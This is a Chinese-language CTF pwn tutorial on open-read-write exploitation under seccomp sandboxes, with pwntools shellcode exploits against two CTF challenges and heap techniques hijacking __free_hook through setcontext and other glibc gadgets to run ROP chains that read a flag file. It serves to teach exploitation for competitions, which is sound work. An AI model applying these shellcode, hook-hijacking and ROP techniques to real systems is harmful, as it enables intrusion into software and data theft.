orw

背景前置

seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

orw_seccomp函数执行了两次prctl函数(出现prctl就是沙箱的题目)

1
2
第一次调用prctl函数 ————禁止提权
第二次调用prctl函数 ————限制能执行的系统调用只有open,writeexit

意思就是我们不能使用特殊的系统调用getshell,但是可以用open、read、write三个系统调用去读flag

入门级orw

一、pwnable_orw

来自buu上的

首先checksec完,发现只开了canary,放入ida看看。发现,可以输入数据,然后还能对输入的数据进行执行调用。因为这开启沙箱,系统调用是无法执行的,只能通过open打开flag,然后read读到缓冲区上,再通过write泄露出来,从而得到flag

第一个exp是自己去构造执行指令,第二个是用pwntool里面自带的shellcraft的功能。相比之下,第二个会更方便许多

exp的详细解析:(来自https://blog.csdn.net/qq_44768749/article/details/108256099)

打开flag文件,sys_open(file,0,0);系统调用号为5

1
2
3
4
5
6
7
push 0x0  			#字符串结尾
push 0x67616c66 #'flag'
mov ebx,esp
xor ecx,ecx #0
xor edx,edx #0
mov eax,0x5 #调用号
int 0x80 #sys_open(flags,0,0)

读flag文件,sys_read(3,file,0x100);系统调用号为3

1
2
3
4
5
mov eax,0x3; 
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
mov edx,0x100; #对应字节数
int 0x80;

输出flag文件内容,sys_write(1,file,0x30);系统调用号为4

1
2
3
mov eax,0x4;	# eax = sys_write
mov ebx,0x1; # ebx = unsigned int fd = 1
int 0x80;

exp1

1
2
3
4
5
6
7
8
9
10
11
#!usr/bin/env python
#coding=utf-8
from pwn import *
context(os="linux",arch="i386",log_level="debug")
p=remote("node3.buuoj.cn",27948)

shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
p.sendlineafter('shellcode:',shellcode)
p.interactive()

exp2:

1
2
3
4
5
6
7
8
#!usr/bin/env python
#coding=utf-8
from pwn import *
context(os="linux",arch="i386",log_level="debug")
p=remote("node3.buuoj.cn",27948)
shellcode=asm(shellcraft.open('./flag')+shellcraft.read('eax','esp',0x30)+shellcraft.write(1,'esp',0x30))
p.sendlineafter('shellcode:',shellcode)
p.interactive()

二、easy_shellcode

来自2021NEEPU 纳新CTF上的一道题

64位,保护全开

跟上面很类似,也是有个直接输入点,然后调用执行输入的数据,借用shellcraft,把寄存器改为64位下的即可获取flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!usr/bin/env python
#coding=utf-8
from pwn import *
p=remote("neepusec.club",18626)
context.log_level='debug'
context.os='linux'
context.arch='amd64'
shellcode=asm(shellcraft.open('./flag'))
shellcode+=asm(shellcraft.read('rax','rsp',0x30))
shellcode+=asm(shellcraft.write(1,'rsp',0x30))
p.sendlineafter("orw",shellcode)
p.interactive()

堆上orw

前面呢,都是一些有关于orw思想的入门基础题,而比赛中常见的都是堆上的orw

glibc-2.23~2.29

一般在 Glibc2.29以前的 ORW解题思路已经比较清晰,主要是劫持 free_hook 或者 malloc_hook写入 setcontext+53函数中的 gadget,通过 rdi索引,来设置相关寄存器,并执行提前布置好的 ORW ROP chains

setcontext+53处的gadget如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret

目的是获得一个可执行的权限,需要注意的是mov rsp, [rdi+0xa0]mov rcx, [rdi+0xa8]。修改rsp的值将会改变栈指针,因此我们就获得了控制栈的能力,修改rcx的值后接着有个push操作将rcx压栈,然后汇编指令按照顺序会执行代码中最后的ret操作,而ret去执行的地址就是压入栈的rcx值,因此修改rcx就获得了控制程序流程的能力

但是为了能执行到这,我们先要做的就是劫持 free_hook 为setcontext + 53的地址,跳转到这边来执行上面的gadgets,但这都不是重点,重点是setcontext + 53上的传参设置。因为都是借用rdi传参,刚好我们执行 free 释放堆块时,传入的第一个参数是堆的地址,是存在rdi上的,所以我们要释放的堆块的地址十分关键,在其偏移0xa0和0xa8的位置分别填上我们存储orw链内容的地址(注意不是orw的第一个指令地址)和一个ret汇编指令的地址

注:为什么不能直接是orw的地址:因为执行完setcontext + 53上的gadget会执行ret,而ret执行的rcx指向的地址,如果rcx装的是mprotect的地址,执行完mprotect就会去执行rsp指向的地址,注意是地址!如果前面直接传入rsp的是orw的第一个指令地址,那么ret执行的是把写在上面的指令作为一个地址解析,直接就会报错了,因为rip获取的是栈顶的值,所以要中转一下,前面写的是另外一个地址(一般就直接在shellcode前八个字节的地方),然后在这个地址上写入的才是shellcode的地址

可以自己算偏移,也可以借用pwntools的SigreturnFrame类直接来构造。此时frame中的rsp和rip对应的就是setcontext的rsp和rcx

1
2
3
4
context.arch = "amd64"
frame = SigreturnFrame()
frame.rsp = shellcode_addr
frame.rip = ret_addr

例题查看我之前的比赛复现题目:K1ng_in_h3Ap_IIWhats your name

glibc-2.29及以上

但在 Glibc 2.29开始之后 setcontext + 61中的gadget变成了以 rdx索引,因此如果我们按照之前思路的话,还要先通过 ROP控制 RDX的值,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000000580DD                 mov     rsp, [rdx+0A0h]
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx, [rdx+0A8h]
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn

所以在 glibc-2.29~2.33 是使用新的 gadget 来进行构造出 rop 读 flag,触发方式并未改变,仍旧是选择使用 __free_hook 来触发。

gadget1

这其中用到的 gadgetgetkeyserv_handle+576,其汇编如下

1
2
3
mov     rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]

这个 gadget可以通过 rdi 来控制 rdx, 非常好用,而且从 Glibc2.29 以上都可用

控制 rdx之后,我们就可以通过 setcontext来控制其他寄存器了

可以用下面的命令进行查询

1
ROPgadget --binary libc.so.6 | grep "mov rdx, qword ptr \[rdi"

这条 gadget 可以配合以下的 gadget 使用,比起 setcontext + 61 更加合适,需要的堆块长度更小。

1
2
mov     rsp, rdx
ret
1
ROPgadget --binary ./libc-2.31.so | grep "mov rsp, rdx ; ret"

这两个的结合使用时(因为是把 rdx 赋值给 rsp,所以需要读入新的数据把 rdx + 0x20 指向的 gadget 进行覆盖),可以对分配到 __free_hook 的堆块进行布局,布局如下:

1
2
3
gadget1 # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget2 # mov rsp, rdx ; ret
payload = p64(gadget1) + p64(free_hook + 0x10) + p64(leak + libc.sym['gets']) + p64(0)*3 + p64(gadget2)

然后发送 rop 链子即可。

1
2
3
4
rop = p64(0)*2 + b'./flag\x00\x00'
rop += p64(pop_rdi) + p64(free_hook + 0x10) + p64(pop_rsi) + p64(0) + p64(open)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(free_hook) + p64(pop_rdx) + p64(0x30) + p64(read)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(free_hook) + p64(pop_rdx) + p64(0x30) + p64(write)

gadget2

通过 gadget 控制 rbp 的值,从而进行栈迁移,将栈劫持到我们可以控制的堆地址上,并执行预先布置的 rop 链,从而获取 flag

先介绍一下万金油的 gadget svcudp_reply+26,汇编如下:

1
2
3
4
5
6
mov rbp, qword ptr [rdi + 0x48]; 
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];

这个 gadgets 主要是通过 rdi控制 rbp进而控制 rax并执行跳转,由于我们已经控制了 rbp的值,因此需要在 rax+0x28的位置部署 leave ;ret 以及最初的 rbp位置也布置 leave ;ret ,让 rsp 再跳一个地方,即可完成栈迁移(因为如果只有一次的话,之前的 rbp + 0x10 和 rbp + 0x18 是无法写入正确写入 rop 的)

从而在我们已经布置好 orw rop链的位置伪造栈地址并劫持控制流,最终读取flag

来源:https://www.anquanke.com/post/id/236832

http://blog.eonew.cn/archives/993

https://blog.csdn.net/A951860555/article/details/118268484

查看评论